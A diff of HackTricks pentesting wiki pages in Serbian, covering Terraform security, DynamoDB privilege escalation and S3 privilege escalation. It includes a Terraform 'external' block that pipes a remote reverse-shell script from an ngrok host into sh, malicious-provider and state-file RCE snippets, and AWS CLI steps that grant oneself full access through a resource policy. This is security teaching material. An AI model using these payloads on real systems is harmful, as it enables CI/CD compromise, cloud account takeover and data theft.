diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index fa57cffb9..4fa21c7fe 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,16 +1,16 @@ -# Terraform Bezbednost +# Terraform Security {{#include ../banners/hacktricks-training.md}} -## Osnovne Informacije +## Osnovne informacije [Iz dokumenata:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete **resurse u oblaku i on-prem** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računanje, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije. +HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete **resurse u oblaku i lokalne resurse** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računarstvo, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije. #### Kako Terraform funkcioniše? -Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraform-u da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API. +Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API. ![](<../images/image (177).png>) @@ -18,21 +18,21 @@ HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za Osnovni Terraform radni tok se sastoji od tri faze: -- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtual Private Cloud (VPC) sa sigurnosnim grupama i balansirnikom opterećenja. +- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja. - **Planiranje:** Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije. - **Primena:** Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine. ![](<../images/image (215).png>) -### Terraform Lab +### Terraform laboratorija Samo instalirajte terraform na vašem računaru. Ovde imate [vodič](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [najbolji način za preuzimanje terraforma](https://www.terraform.io/downloads). -## RCE u Terraform-u +## RCE u Terraformu: trovanje konfiguracione datoteke -Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da se kompromituje terraform **može dodati/izmeniti terraform konfiguracione datoteke**. +Terraform **nema platformu koja izlaže veb stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform **da možemo dodati/izmeniti terraform konfiguracione datoteke** ili **da možemo izmeniti terraform stanje datoteke** (vidi poglavlje ispod). Međutim, terraform je **veoma osetljiva komponenta** za kompromitovanje jer će imati **privilegovan pristup** različitim lokacijama kako bi mogao pravilno da funkcioniše. @@ -48,13 +48,13 @@ Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti n ### Terraform plan -Terraform plan je **najčešće korišćena komanda** u terraform-u i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`. +Terraform plan je **najčešće korišćena komanda** u terraformu i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`. **Korišćenje spoljnog provajdera** Terraform nudi [`external` provajder](https://registry.terraform.io/providers/hashicorp/external/latest/docs) koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti `external` izvor podataka za izvršavanje proizvoljnog koda tokom `plana`. -Umetanje u terraform konfiguracionu datoteku nešto poput sledećeg će izvršiti rev shell prilikom izvršavanja `terraform plan`: +Umetanje u terraform konfiguracionu datoteku nešto poput sledećeg će izvršiti rev shell kada se izvrši `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -75,11 +75,11 @@ version = "1.0" provider "evil" {} ``` -Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan` +Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan`. Možete pronaći primer na [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Korišćenje spoljnog referenciranja** +**Korišćenje spoljnog reference** Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na **diskretniji način**, prateći ove sugestije: @@ -89,7 +89,7 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Možete pronaći rev shell kod u [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` @@ -122,15 +122,43 @@ output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Zloupotreba Terraform Stanja Fajlova +## Zloupotreba Terraform State Fajlova -U slučaju da imate pristup za pisanje nad terraform stanja fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za iskorišćavanje fajla: +U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za iskorišćavanje fajla. Čak i ako biste imali pristup za pisanje nad konfiguracionim fajlovima, korišćenje vektora state fajlova je često mnogo podlije, pošto ne ostavljate tragove u `git` istoriji. + +### RCE u Terraform-u: trovanje konfiguracionog fajla + +Moguće je [napraviti prilagođenog provajdera](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i jednostavno zameniti jednog od provajdera u terraform state fajlu za malicioznog ili dodati lažni resurs koji se poziva na malicioznog provajdera. + +Provajder [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu `command`. Kada se pokrene `terraform` run, ovo će biti pročitano i izvršeno u koracima `terraform plan` i `terraform apply`. U slučaju koraka `terraform apply`, `terraform` će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i potpuna demonstracija mogu se naći u [GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera](https://github.com/offensive-actions/terraform-provider-statefile-rce). + +Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u `resources` nizu i prilagodite atribute `name` i `command`: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +Zatim, čim se izvrši `terraform`, vaš kod će se pokrenuti. ### Brisanje resursa -Postoje 2 načina da uništite resurse: +Postoje 2 načina da se unište resursi: -1. **Umetnite resurs sa nasumičnim imenom u stanje fajla koji pokazuje na pravi resurs koji treba uništiti** +1. **Umetnite resurs sa nasumičnim imenom u datoteku stanja koja pokazuje na pravi resurs koji treba uništiti** Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane: ```json @@ -152,22 +180,7 @@ Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (pr Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo je kreira. -### RCE - -Takođe je moguće [napraviti prilagođeni provajder](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i jednostavno zameniti jednog od provajdera u terraform state datoteci za zlonamerni ili dodati prazan resurs sa zlonamernim provajderom. Primer iz originalnog istraživanja: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` -### Zamena crne liste provajdera +### Zamenite crnu listu provajdera U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj fork ili ponovnu implementaciju. ```terraform @@ -196,7 +209,7 @@ Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje - Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti. - Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket). - Automatizovani zahtevi za ispravke. -- Detaljni saveti za otklanjanje problema. +- Detaljna preporuka za otklanjanje problema. - **Prijavite se:** Kreirajte nalog na [Snyk](https://snyk.io/). ```bash brew tap snyk/tap @@ -206,25 +219,25 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda. +**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i open source pakete. -Skenira cloud infrastrukturu obezbeđenu pomoću [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu. +Skeneruje cloud infrastrukturu koja je obezbeđena koristeći [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu. -Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE). +Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje open source paketa i slika za Common Vulnerabilities and Exposures (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, testni okvir fokusiran na bezbednost i usklađenost protiv terraform-a koji omogućava negativne testne mogućnosti za vašu infrastrukturu kao kod. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, bezbednosno orijentisan test okvir za terraform koji omogućava negativno testiranje za vašu infrastrukturu kao kod. -- **usaglašenost:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde -- **razvoj vođen ponašanjem:** Imamo BDD za gotovo sve, zašto ne i za IaC? -- **prenosiv:** samo ga instalirajte iz `pip` ili ga pokrenite putem `docker`. Pogledajte [Instalacija](https://terraform-compliance.com/pages/installation/) +- **compliance:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde +- **behaviour driven development:** Imamo BDD za skoro sve, zašto ne i za IaC? +- **portable:** samo ga instalirajte iz `pip` ili pokrenite putem `docker`. Pogledajte [Installation](https://terraform-compliance.com/pages/installation/) - **pre-deploy:** validira vaš kod pre nego što bude implementiran -- **lako za integraciju:** može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane. -- **razdvajanje dužnosti:** možete čuvati svoje testove u drugom repozitorijumu gde je odgovorna posebna ekipa. +- **easy to integrate:** može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane. +- **segregation of duty:** možete čuvati svoje testove u različitom repozitorijumu gde je odgovorna posebna ekipa. > [!NOTE] > Nažalost, ako kod koristi neke provajdere kojima nemate pristup, nećete moći da izvršite `terraform plan` i pokrenete ovaj alat. @@ -235,11 +248,11 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije. +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije. - ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku - ⛔ Stotine ugrađenih pravila -- 🪆 Skener modula (lokalnih i udaljenih) +- 🪆 Skenira module (lokalne i udaljene) - ➕ Evaluira HCL izraze kao i literalne vrednosti - ↪️ Evaluira Terraform funkcije npr. `concat()` - 🔗 Evaluira odnose između Terraform resursa @@ -247,28 +260,28 @@ Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi sta - 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika - 📃 Podržava više formata izlaza: divno (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. - 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke) -- ⚡ Veoma brzo, sposobno za brzo skeniranje ogromnih repozitorijuma +- ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume ```bash brew install tfsec tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Pronađite sigurnosne ranjivosti, probleme usklađenosti i greške u konfiguraciji infrastrukture rano u razvoju vaše infrastrukture kao koda uz **KICS** od Checkmarx-a. +Pronađite sigurnosne ranjivosti, probleme usklađenosti i greške u konfiguraciji infrastrukture rano u razvoju vaše infrastrukture kao koda uz **KICS** od Checkmarx. -**KICS** označava **K**eeping **I**nfrastructure as **C**ode **S**ecure, otvorenog je koda i neophodan je za svaki projekat zasnovan na oblaku. +**KICS** označava **K**eeping **I**nfrastructure as **C**ode **S**ecure, otvorenog je koda i neophodan je za svaki cloud native projekat. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava da: +Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava: -- Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije. -- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu. -- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti. -- Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu. -- Nudi fleksibilnost da se pokreće lokalno ili integriše sa vašim CI\CD. +- Besprekorno skeniranje infrastrukture kao koda za pogrešne konfiguracije. +- Praćenje obezbeđene cloud infrastrukture za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu. +- Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti. +- Ublažavanje rizika pre obezbeđivanja cloud native infrastrukture. +- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD. ```bash brew install terrascan ``` @@ -278,5 +291,6 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 681d2beb2..bfe844dbd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,14 +10,63 @@ Za više informacija o dynamodb proverite: ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### `dynamodb:PutResourcePolicy`, i opcionalno `dynamodb:GetResourcePolicy` -Koliko ja znam, **ne postoji direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabele** (što može pokrenuti druge ranjivosti, kao što su lambda kod injekcije...) ali sve ove opcije su već razmatrane na **DynamoDB Post Exploitation stranici**: +Od marta 2024. godine, AWS nudi *politike zasnovane na resursima* za DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Dakle, ako imate `dynamodb:PutResourcePolicy` za tabelu, možete jednostavno dodeliti sebi ili bilo kojem drugom subjektu potpuni pristup tabeli. + +Dodeljivanje `dynamodb:PutResourcePolicy` nasumičnom subjektu često se dešava slučajno, ako administratori misle da bi dodeljivanje `dynamodb:Put*` samo omogućilo subjektu da unese stavke u bazu podataka - ili ako su dodelili taj skup dozvola pre marta 2024... + +Idealno, takođe imate `dynamodb:GetResourcePolicy`, tako da ne prepisujete druge potencijalno vitalne dozvole, već samo injektujete dodatne dozvole koje su vam potrebne: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Ako ne možete da preuzmete trenutnu politiku, jednostavno koristite ovu koja daje potpuni pristup tabeli vašem principalu: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Ako treba da ga prilagodite, ovde je lista svih mogućih DynamoDB akcija: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). A ovde je lista svih akcija koje mogu biti dozvoljene putem politike zasnovane na resursima *I koje od ovih mogu biti korišćene između naloga (razmislite o eksfiltraciji podataka!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Sada, sa dokumentom politike `policy.json` spremnim, stavite politiku resursa: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Sada biste trebali imati potrebne dozvole. + +### Post Eksploatacija + +Koliko ja znam, **ne postoji drugi direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabelama** (što može pokrenuti druge ranjivosti, poput lambda kod injekcija...) ali sve ove opcije su već razmatrane na **DynamoDB Post Eksploatacija stranici**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Čitati podatke zloupotrebom data Streams +### TODO: Čitajte podatke zloupotrebom data Streams {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 92f37cc53..86b47e3ee 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ Na primer, napadač sa tim **dozvolama nad cloudformation kanticom** pod nazivom ] } ``` -I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno da kreira **lambda funkciju** u svom nalogu koja će **pokrenuti kada se pošalje obaveštenje iz bucketa**, i **otme** **sadržaj** tog **bucketa**. +I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno kreirati **lambda funkciju** u svom nalogu koja će **pokrenuti kada se pošalje obaveštenje iz bucketa**, i **oteti** **sadržaj** tog **bucketa**. ![](<../../../images/image (174).png>) @@ -45,11 +45,23 @@ Za više informacija proverite originalno istraživanje: [https://rhinosecurityl Ovo su dozvole za **preuzimanje i otpremanje objekata na S3**. Nekoliko usluga unutar AWS-a (i van njega) koristi S3 skladište za čuvanje **konfiguracionih fajlova**.\ Napadač sa **pristupom za čitanje** može pronaći **osetljive informacije** u njima.\ -Napadač sa **pristupom za pisanje** mogao bi **modifikovati podatke da bi zloupotrebio neku uslugu i pokušao da eskalira privilegije**.\ +Napadač sa **pristupom za pisanje** mogao bi **modifikovati podatke kako bi zloupotrebio neku uslugu i pokušao da eskalira privilegije**.\ Evo nekoliko primera: - Ako EC2 instanca čuva **korisničke podatke u S3 bucket-u**, napadač bi mogao da ih modifikuje da **izvrši proizvoljan kod unutar EC2 instance**. +### `s3:PutObject`, `s3:GetObject` (opciono) preko terraform state fajla + +Veoma je uobičajeno da se [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state fajlovi čuvaju u blob skladištu provajdera u oblaku, npr. AWS S3. Sufiks fajla za state fajl je `.tfstate`, a imena bucketa često takođe otkrivaju da sadrže terraform state fajlove. Obično, svaki AWS nalog ima jedan takav bucket za čuvanje state fajlova koji prikazuju stanje naloga. Takođe obično, u stvarnim nalozima gotovo uvek svi programeri imaju `s3:*`, a ponekad čak i poslovni korisnici imaju `s3:Put*`. + +Dakle, ako imate dozvole navedene za ove fajlove, postoji vektorski napad koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama `terraform` - većinom `AdministratorAccess`, čineći vas administratorom cloud naloga. Takođe, možete koristiti taj vektor za izvršenje napada uskraćivanja usluge tako što ćete naterati `terraform` da obriše legitimne resurse. + +Pratite opis u sekciji *Zloupotreba Terraform State Fajlova* na stranici *Terraform Security* za direktno upotrebljiv kod za eksploataciju: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} + ### `s3:PutBucketPolicy` Napadač, koji treba da bude **iz istog naloga**, inače će se aktivirati greška `The specified method is not allowed`, sa ovom dozvolom će moći da sebi dodeli više dozvola nad bucket-ima omogućavajući mu da čita, piše, modifikuje, briše i izlaže buckete. @@ -111,7 +123,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket